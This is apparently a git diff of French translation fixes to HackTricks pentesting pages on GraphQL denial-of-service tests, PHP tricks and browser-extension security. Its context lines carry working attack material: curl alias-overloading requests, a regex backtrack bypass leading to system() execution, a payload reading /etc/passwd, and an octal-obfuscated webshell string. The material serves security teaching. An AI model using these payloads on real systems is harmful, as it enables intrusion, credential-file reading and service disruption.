 ```graphql
 # Test provided by https://github.com/dolevf/graphql-cop
 curl -X POST -H "Content-Type: application/json" \
 -d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
 'https://example.com/graphql'
 ```
-Pour atténuer cela, mettez en œuvre des limites de compte d'alias, une analyse de la complexité des requêtes ou un contrôle de débit pour prévenir l'abus de ressources.
+Pour atténuer cela, mettez en œuvre des limites de compte d'alias, une analyse de la complexité des requêtes ou une limitation de débit pour prévenir l'abus de ressources.
 
 ### **Batching de Requêtes Basé sur des Tableaux**
 
-**Batching de Requêtes Basé sur des Tableaux** est une vulnérabilité où une API GraphQL permet de regrouper plusieurs requêtes dans une seule demande, permettant à un attaquant d'envoyer un grand nombre de requêtes simultanément. Cela peut submerger le backend en exécutant toutes les requêtes groupées en parallèle, consommant des ressources excessives (CPU, mémoire, connexions à la base de données) et pouvant potentiellement conduire à un **Denial of Service (DoS)**. S'il n'existe aucune limite sur le nombre de requêtes dans un lot, un attaquant peut exploiter cela pour dégrader la disponibilité du service.
+Le **Batching de Requêtes Basé sur des Tableaux** est une vulnérabilité où une API GraphQL permet de regrouper plusieurs requêtes dans une seule demande, permettant à un attaquant d'envoyer un grand nombre de requêtes simultanément. Cela peut submerger le backend en exécutant toutes les requêtes groupées en parallèle, consommant des ressources excessives (CPU, mémoire, connexions à la base de données) et pouvant potentiellement conduire à un **Denial of Service (DoS)**. S'il n'existe aucune limite sur le nombre de requêtes dans un lot, un attaquant peut exploiter cela pour dégrader la disponibilité du service.
 ```graphql
 # Test provided by https://github.com/dolevf/graphql-cop
 curl -X POST -H "User-Agent: graphql-cop/1.13" \
@@ -539,7 +539,7 @@ Et ensuite **utilisez certains des personnalisés**.
 
 ### **Vulnérabilité de Duplication de Champ**
 
-**La Duplication de Champ** est une vulnérabilité où un serveur GraphQL permet des requêtes avec le même champ répété de manière excessive. Cela oblige le serveur à résoudre le champ de manière redondante pour chaque instance, consommant des ressources significatives (CPU, mémoire et appels de base de données). Un attaquant peut créer des requêtes avec des centaines ou des milliers de champs répétés, provoquant une charge élevée et pouvant potentiellement conduire à un **Denial of Service (DoS)**.
+**Duplication de Champ** est une vulnérabilité où un serveur GraphQL permet des requêtes avec le même champ répété de manière excessive. Cela oblige le serveur à résoudre le champ de manière redondante pour chaque instance, consommant des ressources significatives (CPU, mémoire et appels de base de données). Un attaquant peut créer des requêtes avec des centaines ou des milliers de champs répétés, provoquant une charge élevée et pouvant potentiellement conduire à un **Denial of Service (DoS)**.
 ```bash
 # Test provided by https://github.com/dolevf/graphql-cop
 curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
@@ -553,7 +553,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
 - [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop) : Tester les erreurs de configuration courantes des points de terminaison graphql
 - [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql) : Script d'audit de sécurité GraphQL axé sur l'exécution de requêtes et de mutations GraphQL en lot.
 - [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f) : Identifier le graphql utilisé
-- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler) : Boîte à outils pouvant être utilisée pour récupérer des schémas et rechercher des données sensibles, tester l'autorisation, forcer les schémas par brute force et trouver des chemins vers un type donné.
+- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler) : Boîte à outils pouvant être utilisée pour récupérer des schémas et rechercher des données sensibles, tester l'autorisation, forcer les schémas et trouver des chemins vers un type donné.
 - [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html) : Peut être utilisé comme autonome ou [extension Burp](https://github.com/doyensec/inql).
 - [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap) : Peut également être utilisé comme client CLI pour automatiser les attaques
 - [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum) : Outil qui répertorie les différentes manières de **atteindre un type donné dans un schéma GraphQL**.

src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md

@@ -5,7 +5,7 @@
 
 ## Emplacement commun des cookies :
 
-Ceci est également valable pour les cookies phpMyAdmin.
+Ceci est également valable pour les cookies de phpMyAdmin.
 
 Cookies :
 ```
@@ -35,7 +35,7 @@ Tables de comparaison PHP : [https://www.php.net/manual/en/types.comparisons.php
 - `"0xAAAA" == "43690" -> True` Les chaînes composées de nombres en format décimal ou hexadécimal peuvent être comparées à d'autres nombres/chaînes avec un résultat True si les nombres étaient les mêmes (les nombres dans une chaîne sont interprétés comme des nombres)
 - `"0e3264578" == 0 --> True` Une chaîne commençant par "0e" et suivie de n'importe quoi sera égale à 0
 - `"0X3264578" == 0X --> True` Une chaîne commençant par "0" et suivie de n'importe quelle lettre (X peut être n'importe quelle lettre) et suivie de n'importe quoi sera égale à 0
-- `"0e12334" == "0" --> True` C'est très intéressant car dans certains cas, vous pouvez contrôler l'entrée de la chaîne de "0" et certains contenus qui sont hachés et comparés à cela. Par conséquent, si vous pouvez fournir une valeur qui créera un hachage commençant par "0e" et sans aucune lettre, vous pourriez contourner la comparaison. Vous pouvez trouver des **chaînes déjà hachées** avec ce format ici : [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
+- `"0e12334" == "0" --> True` C'est très intéressant car dans certains cas, vous pouvez contrôler l'entrée de chaîne de "0" et certains contenus qui sont hachés et comparés à cela. Par conséquent, si vous pouvez fournir une valeur qui créera un hachage commençant par "0e" et sans aucune lettre, vous pourriez contourner la comparaison. Vous pouvez trouver des **chaînes déjà hachées** avec ce format ici : [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
 - `"X" == 0 --> True` N'importe quelle lettre dans une chaîne est égale à int 0
 
 Plus d'infos sur [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
@@ -86,7 +86,7 @@ echo preg_match("/^.*1/",$myinput);
 echo preg_match("/^.*1.*$/",$myinput);
 //0  --> In this scenario preg_match DOESN'T find the char "1"
 ```
-Pour contourner cette vérification, vous pourriez **envoyer la valeur avec des nouvelles lignes urlencoded** (`%0A`) ou si vous pouvez envoyer **des données JSON**, envoyez-les en **plusieurs lignes** :
+Pour contourner cette vérification, vous pourriez **envoyer la valeur avec des nouvelles lignes urlencodées** (`%0A`) ou si vous pouvez envoyer **des données JSON**, envoyez-les en **plusieurs lignes** :
 ```php
 {
 "cmd": "cat /etc/passwd"
@@ -109,12 +109,12 @@ Astuce provenant de : [https://simones-organization-4.gitbook.io/hackbook-of-a-h
 
 <figure><img src="../../../images/image (26).png" alt=""><figcaption></figcaption></figure>
 
-En résumé, le problème se produit parce que les fonctions `preg_*` en PHP reposent sur la [bibliothèque PCRE](http://www.pcre.org/). Dans PCRE, certaines expressions régulières sont appariées en utilisant de nombreux appels récursifs, ce qui utilise beaucoup d'espace de pile. Il est possible de définir une limite sur le nombre de récursions autorisées, mais en PHP, cette limite [par défaut est de 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) ce qui est plus que ce qui peut tenir dans la pile.
+En résumé, le problème se produit parce que les fonctions `preg_*` en PHP s'appuient sur la [bibliothèque PCRE](http://www.pcre.org/). Dans PCRE, certaines expressions régulières sont appariées en utilisant de nombreux appels récursifs, ce qui utilise beaucoup d'espace de pile. Il est possible de définir une limite sur le nombre de récursions autorisées, mais en PHP, cette limite [par défaut à 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), ce qui est plus que ce qui peut tenir dans la pile.
 
-[Ce fil de discussion Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) a également été lié dans le post où ce problème est discuté plus en profondeur. Notre tâche était maintenant claire :\
+[Ce fil de discussion Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) a également été lié dans le post où il est question plus en profondeur de ce problème. Notre tâche était maintenant claire :\
 **Envoyer une entrée qui ferait que la regex effectue 100_000+ récursions, provoquant un SIGSEGV, faisant que la fonction `preg_match()` retourne `false`, faisant ainsi croire à l'application que notre entrée n'est pas malveillante, lançant la surprise à la fin de la charge utile quelque chose comme `{system(<verybadcommand>)}` pour obtenir SSTI --> RCE --> flag :)**.
 
-Eh bien, en termes de regex, nous ne faisons pas réellement 100k "récursions", mais nous comptons plutôt les "étapes de retour en arrière", qui, comme le stipule la [documentation PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), par défaut est de 1_000_000 (1M) dans la variable `pcre.backtrack_limit`.\ 
+Eh bien, en termes de regex, nous ne faisons pas réellement 100k "récursions", mais nous comptons plutôt les "étapes de retour en arrière", qui, comme le stipule la [documentation PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), par défaut à 1_000_000 (1M) dans la variable `pcre.backtrack_limit`.\ 
 Pour atteindre cela, `'X'*500_001` donnera 1 million d'étapes de retour en arrière (500k en avant et 500k en arrière) :
 ```python
 payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
@@ -152,11 +152,11 @@ Check:
 
 ## More tricks
 
-- **register_globals**: Dans **PHP < 4.1.1.1** ou si mal configuré, **register_globals** peut être actif (ou leur comportement est imité). Cela implique que dans des variables globales comme $\_GET si elles ont une valeur par exemple $\_GET\["param"]="1234", vous pouvez y accéder via **$param. Par conséquent, en envoyant des paramètres HTTP, vous pouvez écraser des variables\*\* qui sont utilisées dans le code.
+- **register_globals**: Dans **PHP < 4.1.1.1** ou si mal configuré, **register_globals** peut être actif (ou son comportement est imité). Cela implique que dans des variables globales comme $\_GET si elles ont une valeur par exemple $\_GET\["param"]="1234", vous pouvez y accéder via **$param. Par conséquent, en envoyant des paramètres HTTP, vous pouvez écraser des variables\*\* qui sont utilisées dans le code.
 - Les **cookies PHPSESSION du même domaine sont stockés au même endroit**, donc si dans un domaine **différents cookies sont utilisés dans différents chemins** vous pouvez faire en sorte qu'un chemin **accède au cookie de l'autre chemin** en définissant la valeur de l'autre cookie de chemin.\
 De cette façon, si **les deux chemins accèdent à une variable avec le même nom** vous pouvez faire en sorte que **la valeur de cette variable dans path1 s'applique à path2**. Et ensuite path2 considérera comme valides les variables de path1 (en donnant au cookie le nom qui lui correspond dans path2).
 - Lorsque vous avez les **noms d'utilisateur** des utilisateurs de la machine. Vérifiez l'adresse : **/\~\<USERNAME>** pour voir si les répertoires php sont activés.
-- [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/)
+- [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/index.html)
 
 ### password_hash/password_verify
 
@@ -173,7 +173,7 @@ True
 
 #### Causing error after setting headers
 
-From [**this twitter thread**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) vous pouvez voir qu'en envoyant plus de 1000 paramètres GET ou 1000 paramètres POST ou 20 fichiers, PHOP ne va pas définir les en-têtes dans la réponse.
+From [**this twitter thread**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) vous pouvez voir qu'en envoyant plus de 1000 paramètres GET ou 1000 paramètres POST ou 20 fichiers, PHP ne va pas définir les en-têtes dans la réponse.
 
 Permettant de contourner par exemple les en-têtes CSP définis dans des codes comme :
 ```php
@@ -181,7 +181,7 @@ Permettant de contourner par exemple les en-têtes CSP définis dans des codes c
 header("Content-Security-Policy: default-src 'none';");
 if (isset($_GET["xss"])) echo $_GET["xss"];
 ```
-#### Remplir un corps avant de définir les en-têtes
+#### Remplir un corps avant de définir des en-têtes
 
 Si une **page PHP imprime des erreurs et renvoie certaines entrées fournies par l'utilisateur**, l'utilisateur peut faire en sorte que le serveur PHP imprime un **contenu suffisamment long** pour que, lorsqu'il essaie d'**ajouter les en-têtes** à la réponse, le serveur génère une erreur.\
 Dans le scénario suivant, l'**attaquant a fait en sorte que le serveur génère de grosses erreurs**, et comme vous pouvez le voir à l'écran, lorsque PHP a essayé de **modifier les informations d'en-tête, il n'a pas pu** (donc par exemple, l'en-tête CSP n'a pas été envoyé à l'utilisateur) :
@@ -202,7 +202,7 @@ php-ssrf.md
 &#xNAN;**\`ls\`;**\
 **shell_exec("ls");**
 
-[Check this for more useful PHP functions](php-useful-functions-disable_functions-open_basedir-bypass/)
+[Consultez ceci pour d'autres fonctions PHP utiles](php-useful-functions-disable_functions-open_basedir-bypass/index.html)
 
 ### **RCE via** **preg_replace()**
 ```php
@@ -308,16 +308,16 @@ phpinfo();
 ?>
 
 ```
-## Contournement de la sanitation PHP & Brain Fuck
+## Contournement de la sanitisation PHP & Brain Fuck
 
-[**Dans ce post**](https://blog.redteam-pentesting.de/2024/moodle-rce/) il est possible de trouver d'excellentes idées pour générer un code PHP brain fuck avec très peu de caractères autorisés.\
+[**Dans cet article**](https://blog.redteam-pentesting.de/2024/moodle-rce/) il est possible de trouver d'excellentes idées pour générer un code PHP Brain Fuck avec très peu de caractères autorisés.\
 De plus, une manière intéressante d'exécuter des fonctions qui leur a permis de contourner plusieurs vérifications est également proposée :
 ```php
 (1)->{system($_GET[chr(97)])}
 ```
 ## Analyse statique de PHP
 
-Regardez si vous pouvez insérer du code dans les appels à ces fonctions (de [ici](https://www.youtube.com/watch?v=SyWUsN0yHKI&feature=youtu.be)):
+Regardez si vous pouvez insérer du code dans les appels à ces fonctions (depuis [ici](https://www.youtube.com/watch?v=SyWUsN0yHKI&feature=youtu.be)):
 ```php
 exec, shell_exec, system, passthru, eval, popen
 unserialize, include, file_put_cotents
@@ -327,7 +327,7 @@ Si vous déboguez une application PHP, vous pouvez activer globalement l'impress
 
 ### Déobfuscation de code PHP
 
-Vous pouvez utiliser le **web**[ **www.unphp.net**](http://www.unphp.net) **pour déobfusquer du code php.**
+Vous pouvez utiliser le **web**[ **www.unphp.net**](http://www.unphp.net) **pour déobfusquer le code php.**
 
 ## Wrappers et Protocoles PHP
 
@@ -349,7 +349,7 @@ echo "${Da}"; //Drums
 echo "$x ${$x}"; //Da Drums
 echo "$x ${Da}"; //Da Drums
 ```
-## RCE abusant de $\_GET\["a"]\($\_GET\["b")
+## RCE abusant de $\_GET\["a"]\($\_GET\["b"])
 
 Si sur une page vous pouvez **créer un nouvel objet d'une classe arbitraire**, vous pourriez être en mesure d'obtenir RCE, consultez la page suivante pour apprendre comment :
 
@@ -361,7 +361,7 @@ php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
 
 [https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)
 
-### Utiliser l'octal
+### Utilisation de l'octal
 ```php
 $_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
 ```

src/pentesting-web/browser-extension-pentesting-methodology/README.md

@@ -14,11 +14,11 @@ Les mises en page des extensions sont mieux visualisées et se composent de troi
 
 ### **Scripts de Contenu**
 
-Chaque script de contenu a un accès direct au DOM d'une **page web unique** et est donc exposé à des **entrées potentiellement malveillantes**. Cependant, le script de contenu ne contient aucune autorisation autre que la capacité d'envoyer des messages au cœur de l'extension.
+Chaque script de contenu a un accès direct au DOM d'une **page web unique** et est donc exposé à des **entrées potentiellement malveillantes**. Cependant, le script de contenu ne contient aucune permission autre que la capacité d'envoyer des messages au cœur de l'extension.
 
 ### **Cœur de l'Extension**
 
-Le cœur de l'extension contient la plupart des privilèges/accès de l'extension, mais le cœur de l'extension ne peut interagir avec le contenu web que via [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) et les scripts de contenu. De plus, le cœur de l'extension n'a pas d'accès direct à la machine hôte.
+Le cœur de l'extension contient la plupart des privilèges/d'accès de l'extension, mais le cœur de l'extension ne peut interagir avec le contenu web que via [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) et les scripts de contenu. De plus, le cœur de l'extension n'a pas d'accès direct à la machine hôte.
 
 ### **Binaire Natif**
 
@@ -35,7 +35,7 @@ De plus, les scripts de contenu sont séparés de leurs pages web associées en
 
 ## **`manifest.json`**
 
-Une extension Chrome est simplement un dossier ZIP avec une [extension de fichier .crx](https://www.lifewire.com/crx-file-2620391). Le cœur de l'extension est le fichier **`manifest.json`** à la racine du dossier, qui spécifie la mise en page, les autorisations et d'autres options de configuration.
+Une extension Chrome est simplement un dossier ZIP avec une [extension de fichier .crx](https://www.lifewire.com/crx-file-2620391). Le cœur de l'extension est le fichier **`manifest.json`** à la racine du dossier, qui spécifie la mise en page, les permissions et d'autres options de configuration.
 
 Exemple :
 ```json
@@ -78,7 +78,7 @@ Les scripts de contenu sont **chargés** chaque fois que l'utilisateur **navigue
 ```
 Pour inclure ou exclure plus d'URLs, il est également possible d'utiliser **`include_globs`** et **`exclude_globs`**.
 
-Ceci est un exemple de script de contenu qui ajoutera un bouton d'explication à la page lorsque [l'API de stockage](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) pour récupérer la valeur `message` du stockage de l'extension.
+Ceci est un exemple de script de contenu qui ajoutera un bouton d'explication à la page lorsque [l'API de stockage](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) sera utilisée pour récupérer la valeur `message` du stockage de l'extension.
 ```js
 chrome.storage.local.get("message", (result) => {
 let div = document.createElement("div")
@@ -91,7 +91,7 @@ document.body.appendChild(div)
 ```
 <figure><img src="../../images/image (23).png" alt=""><figcaption></figcaption></figure>
 
-Un message est envoyé aux pages d'extension par le script de contenu lorsque ce bouton est cliqué, grâce à l'utilisation de l'[**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Cela est dû à la limitation du script de contenu dans l'accès direct aux API, `storage` étant l'une des rares exceptions. Pour des fonctionnalités au-delà de ces exceptions, des messages sont envoyés aux pages d'extension avec lesquelles les scripts de contenu peuvent communiquer.
+Un message est envoyé aux pages d'extension par le script de contenu lorsque ce bouton est cliqué, grâce à l'utilisation de l'[**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Cela est dû à la limitation du script de contenu dans l'accès direct aux API, avec `storage` étant parmi les rares exceptions. Pour des fonctionnalités au-delà de ces exceptions, des messages sont envoyés aux pages d'extension avec lesquelles les scripts de contenu peuvent communiquer.
 
 > [!WARNING]
 > Selon le navigateur, les capacités du script de contenu peuvent varier légèrement. Pour les navigateurs basés sur Chromium, la liste des capacités est disponible dans la [documentation des développeurs Chrome](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), et pour Firefox, le [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) sert de source principale.\
@@ -104,9 +104,9 @@ Une fois les outils de développement affichés, l'onglet **Source** doit être
 ### Scripts de contenu injectés
 
 > [!TIP]
-> Notez que **les scripts de contenu ne sont pas obligatoires** car il est également possible de **dynamically** **injecter** des scripts et de les **injecter programatiquement** dans des pages web via **`tabs.executeScript`**. Cela offre en fait plus de **contrôles granulaire**.
+> Notez que **les scripts de contenu ne sont pas obligatoires** car il est également possible d'**injecter dynamiquement** des scripts et de les **injecter par programme** dans des pages web via **`tabs.executeScript`**. Cela offre en fait un contrôle **plus granulaire**.
 
-Pour l'injection programmatique d'un script de contenu, l'extension doit avoir des [permissions d'hôte](https://developer.chrome.com/docs/extensions/reference/permissions) pour la page dans laquelle les scripts doivent être injectés. Ces permissions peuvent être sécurisées soit en **les demandant** dans le manifeste de l'extension, soit sur une base temporaire via [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
+Pour l'injection programmatique d'un script de contenu, l'extension doit avoir des [permissions d'hôte](https://developer.chrome.com/docs/extensions/reference/permissions) pour la page dans laquelle les scripts doivent être injectés. Ces permissions peuvent être obtenues soit en **les demandant** dans le manifeste de l'extension, soit sur une base temporaire via [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
 
 #### Exemple d'extension basée sur activeTab
 ```json:manifest.json
@@ -217,7 +217,7 @@ Les messages envoyés par les scripts de contenu sont reçus par la **page d'arr
 - **Génération Automatique :** Si elle n'est pas explicitement définie, le navigateur créera automatiquement une page d'arrière-plan. Cette page générée automatiquement inclura tous les scripts d'arrière-plan spécifiés dans le manifeste de l'extension, garantissant le bon fonctionnement des tâches d'arrière-plan de l'extension.
 
 > [!TIP]
-> La commodité fournie par le navigateur en générant automatiquement une page d'arrière-plan (lorsqu'elle n'est pas explicitement déclarée) garantit que tous les scripts d'arrière-plan nécessaires sont intégrés et opérationnels, simplifiant ainsi le processus de configuration de l'extension.
+> La commodité fournie par le navigateur en générant automatiquement une page d'arrière-plan (lorsqu'elle n'est pas explicitement déclarée) garantit que tous les scripts d'arrière-plan nécessaires sont intégrés et opérationnels, simplifiant le processus de configuration de l'extension.
 
 Exemple de script d'arrière-plan :
 ```js
@@ -484,9 +484,9 @@ browext-xss-example.md
 
 ## Communication entre le Script de Contenu **↔︎** le Script d'Arrière-plan
 
-Un Script de Contenu peut utiliser les fonctions [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **ou** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) pour envoyer un message **JSON-sérialisable unique**.
+Un Script de Contenu peut utiliser les fonctions [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **ou** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) pour envoyer un message **JSON-serializable unique**.
 
-Pour gérer la **réponse**, utilisez la **Promise** retournée. Bien que, pour des raisons de compatibilité ascendante, vous puissiez toujours passer un **callback** comme dernier argument.
+Pour gérer la **réponse**, utilisez la **Promise** retournée. Bien que, pour la compatibilité ascendante, vous puissiez toujours passer un **callback** comme dernier argument.
 
 L'envoi d'une requête depuis un **script de contenu** ressemble à ceci :
 ```javascript
@@ -539,12 +539,12 @@ Les extensions de navigateur permettent également de communiquer avec **des bin
 "allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"]
 }
 ```
-Où le `name` est la chaîne passée à [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) ou [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) pour communiquer avec l'application depuis les scripts d'arrière-plan de l'extension de navigateur. Le `path` est le chemin vers le binaire, il n'y a qu'un seul `type` valide qui est stdio (utiliser stdin et stdout) et les `allowed_origins` indiquent les extensions qui peuvent y accéder (et ne peuvent pas avoir de caractère générique).
+Où le `name` est la chaîne passée à [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) ou [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) pour communiquer avec l'application depuis les scripts d'arrière-plan de l'extension du navigateur. Le `path` est le chemin vers le binaire, il n'y a qu'un seul `type` valide qui est stdio (utiliser stdin et stdout) et les `allowed_origins` indiquent les extensions qui peuvent y accéder (et ne peuvent pas avoir de caractère générique).
 
 Chrome/Chromium recherchera ce json dans certains registres Windows et certains chemins sous macOS et Linux (plus d'infos dans les [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).
 
 > [!TIP]
-> L'extension de navigateur a également besoin de la permission `nativeMessaing` déclarée pour pouvoir utiliser cette communication.
+> L'extension du navigateur a également besoin de la permission `nativeMessaing` déclarée pour pouvoir utiliser cette communication.
 
 Voici à quoi ressemble un code de script d'arrière-plan envoyant des messages à une application native :
 ```javascript
@@ -567,7 +567,7 @@ Et à l'intérieur, un exemple de **passage de n'importe quelle page à RCE en a
 
 ## Informations Sensibles en Mémoire/Code/Clipboard
 
-Si une extension de navigateur stocke **des informations sensibles dans sa mémoire**, celles-ci pourraient être **dumpées** (surtout sur les machines Windows) et **recherchées** pour ces informations.
+Si une extension de navigateur stocke **des informations sensibles dans sa mémoire**, cela pourrait être **dumpé** (surtout sur les machines Windows) et **recherché** pour ces informations.
 
 Par conséquent, la mémoire de l'extension de navigateur **ne doit pas être considérée comme sécurisée** et **les informations sensibles** telles que les identifiants ou les phrases mnémotechniques **ne doivent pas être stockées**.
 
@@ -583,11 +583,11 @@ De plus, des informations hautement sensibles comme des clés mnémotechniques o
 2. Allez à **`chrome://extensions/`** et **activez** le `Mode Développeur`
 3. Cliquez sur le bouton **`Load unpacked`**
 
-Dans **Firefox**, allez à **`about:debugging#/runtime/this-firefox`** et cliquez sur le bouton **`Load Temporary Add-on`**.
+Dans **Firefox**, vous allez à **`about:debugging#/runtime/this-firefox`** et cliquez sur le bouton **`Load Temporary Add-on`**.
 
 ## Obtenir le code source depuis le store
 
-Le code source d'une extension Chrome peut être obtenu par divers moyens. Voici des explications détaillées et des instructions pour chaque option.
+Le code source d'une extension Chrome peut être obtenu par divers moyens. Ci-dessous se trouvent des explications détaillées et des instructions pour chaque option.
 
 ### Télécharger l'Extension en tant que ZIP via la Ligne de Commande
 
@@ -648,13 +648,13 @@ Bien que les extensions de navigateur aient une **surface d'attaque limitée**,
 - [ ] **Limiter** autant que possible les **`web_accessible_resources`**, même vides si possible.
 - [ ] Si **`web_accessible_resources`** n'est pas nul, vérifiez pour [**ClickJacking**](browext-clickjacking.md)
 - [ ] Si une **communication** se produit de l'**extension** à la **page web**, [**vérifiez les vulnérabilités XSS**](browext-xss-example.md) causées dans la communication.
-- [ ] Si des messages postaux sont utilisés, vérifiez les [**vulnérabilités de message postaux**](../postmessage-vulnerabilities/)**.**
+- [ ] Si des messages postaux sont utilisés, vérifiez les [**vulnérabilités de message postaux**](../postmessage-vulnerabilities/index.html)**.**
 - [ ] Si le **Content Script accède aux détails du DOM**, vérifiez qu'ils **n'introduisent pas un XSS** s'ils sont **modifiés** par le web
 - [ ] Mettez un accent particulier si cette communication est également impliquée dans la **communication Content Script -> script d'arrière-plan**
 - [ ] Si le script d'arrière-plan communique via **native messaging**, vérifiez que la communication est sécurisée et assainie
 - [ ] **Les informations sensibles ne doivent pas être stockées** à l'intérieur du code de l'extension de navigateur
 - [ ] **Les informations sensibles ne doivent pas être stockées** à l'intérieur de la mémoire de l'extension de navigateur
-- [ ] **Les informations sensibles ne doivent pas être stockées** à l'intérieur du **système de fichiers sans protection**
+- [ ] **Les informations sensibles ne doivent pas être stockées** à l'intérieur du **système de fichiers non protégé**
 
 ## Risques des extensions de navigateur
 
@@ -664,9 +664,9 @@ Bien que les extensions de navigateur aient une **surface d'attaque limitée**,
 
 ### [**Tarnish**](https://thehackerblog.com/tarnish/)
 
-- Récupère n'importe quelle extension Chrome à partir d'un lien de webstore Chrome fourni.
+- Récupère n'importe quelle extension Chrome à partir d'un lien de Chrome webstore fourni.
 - [**manifest.json**](https://developer.chrome.com/extensions/manifest) **visualiseur** : affiche simplement une version JSON formatée du manifeste de l'extension.
-- **Analyse d'empreinte** : Détection des [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) et génération automatique de JavaScript d'empreinte d'extension Chrome.
+- **Analyse de l'empreinte digitale** : Détection des [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) et génération automatique de JavaScript d'empreinte digitale d'extension Chrome.
 - **Analyse potentielle de Clickjacking** : Détection des pages HTML d'extension avec la directive [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) définie. Celles-ci sont potentiellement vulnérables au clickjacking selon l'objectif des pages.
